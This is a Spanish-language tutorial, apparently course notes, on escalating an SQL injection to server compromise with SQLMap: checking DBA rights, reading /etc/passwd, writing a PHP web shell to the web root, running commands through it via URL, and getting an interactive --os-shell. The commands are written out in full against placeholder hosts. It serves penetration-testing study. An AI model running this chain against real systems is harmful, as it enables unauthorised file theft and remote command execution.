🖥️ Explotación del Sistema Operativo con SQLMap
Esta sección explica cómo escalar una SQL Injection hasta interactuar con el sistema operativo del servidor.
🎯 Objetivo de esta fase
Cuando explotamos una SQLi, el objetivo final no es solo leer bases de datos, sino:
-
📂 Leer archivos del sistema
-
✍️ Escribir archivos en el servidor
-
🧑💻 Ejecutar comandos del sistema operativo
-
🐚 Obtener una shell remota
SQLMap automatiza todas estas fases si tenemos los privilegios necesarios.
📂 Lectura y escritura de archivos
🧠 Idea clave
SQLMap puede usar la SQLi para interactuar con archivos fuera del DBMS, es decir, archivos del sistema operativo.
⚠️ Leer archivos es mucho más común que escribirlos, ya que escribir puede llevar a ejecución remota de comandos.
🔐 Privilegios necesarios (MySQL)
En MySQL, para leer archivos locales:
-
El usuario debe tener privilegios como
LOAD DATA -
No siempre es necesario ser DBA, pero ayuda mucho
📌 En DBMS modernos, cada vez es más común que solo el DBA pueda hacerlo.
👑 Comprobación de privilegios DBA
Antes de intentar leer o escribir archivos, debemos comprobar si somos DBA.
🛠️ Comando
sqlmap -u "http://<IP>:PUERTO/?id=1" --is-dba
🧠 Interpretación del resultado
-
current user is DBA: False❌
→ No podremos leer/escribir archivos -
current user is DBA: True✅
→ Podemos intentar explotación del sistema operativo

Siempre comprueba esto antes de intentar --file-read o --os-shell.
📖 Lectura de archivos locales
🧠 Qué estamos haciendo realmente
SQLMap automatiza consultas como:
-
Cargar un archivo del sistema
-
Guardarlo temporalmente en la base de datos
-
Extraer su contenido vía SQLi
Todo esto sin escribir SQL manualmente.
🛠️ Leer /etc/passwd
sqlmap -u "http://<IP>:PUERTO/?id=1" --file-read "/etc/passwd"

📦 Resultado
-
SQLMap descarga el archivo
-
Lo guarda localmente en:
~/.sqlmap/output/<host>/files/
📌 Podemos leerlo como cualquier archivo local.
Esto confirma lectura de archivos del sistema operativo.
✍️ Escritura de archivos locales (Web Shell)
Escribir archivos puede llevar a control total del servidor.
🧠 Por qué está restringido
-
Permite subir web shells
-
Da ejecución remota de comandos
-
Por defecto está deshabilitado en DBMS modernos
En MySQL:
-
secure-file-privdebe permitir escritura -
Debemos tener permisos sobre el directorio destino
🐚 Crear un Web Shell PHP

📌 Este archivo permite ejecutar comandos vía URL.
🛠️ Subir el archivo al servidor
sqlmap -u "http://<IP>:PUERTO/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
🧠 Qué hace SQLMap aquí
-
Usa la SQLi
-
Escribe el archivo en el sistema
-
Comprueba que el tamaño coincide
-
Confirma que la escritura fue exitosa
El archivo fue escrito correctamente.
🌐 Ejecutar comandos remotamente
Accedemos desde el navegador o con curl:
http://<IP>:PUERTO/shell.php?cmd=ls+-la

📌 El comando se ejecuta en el servidor remoto.
🧑💻 Shell del sistema operativo con SQLMap
SQLMap puede darnos una shell interactiva sin crear manualmente un web shell.
🛠️ Obtener OS Shell automática
sqlmap -u "http://<IP>:PUERTO/?id=1" --os-shell
🧠 Qué intenta SQLMap
-
Crear funciones SQL maliciosas (UDF)
-
Ejecutar comandos del sistema
-
Recuperar la salida
A veces no devuelve output, dependiendo de la técnica usada.
🎯 Forzar técnica más fiable (Error-based)
sqlmap -u "http://<IP>:PUERTO/?id=1" --os-shell --technique=E
🧠 Por qué funciona mejor
-
Error-based devuelve respuestas directas
-
No depende de UNION
-
Más fiable para obtener salida de comandos
🧭 Preguntas interactivas de SQLMap
Durante el proceso, SQLMap puede preguntar:
-
Lenguaje del servidor → PHP
-
Directorio raíz web → búsqueda automática
-
Método de subida → ubicaciones comunes
📌 Todo esto se responde automáticamente con --batch.
Se obtiene una shell remota interactiva
Capaz de ejecutar comandos del sistema operativo.

🧠 Resumen mental rápido
1️⃣ SQLi confirmada
2️⃣ Comprobar DBA (--is-dba)
3️⃣ Leer archivos (--file-read)
4️⃣ Escribir archivos (--file-write)
5️⃣ Obtener shell (--os-shell)
🎯 Conclusión final
SQLMap no es solo una herramienta de dumping de bases de datos.
Bien usada, permite:
-
Escalar una SQLi
-
Interactuar con el sistema operativo
-
Obtener ejecución remota de comandos
-
Comprometer completamente el servidor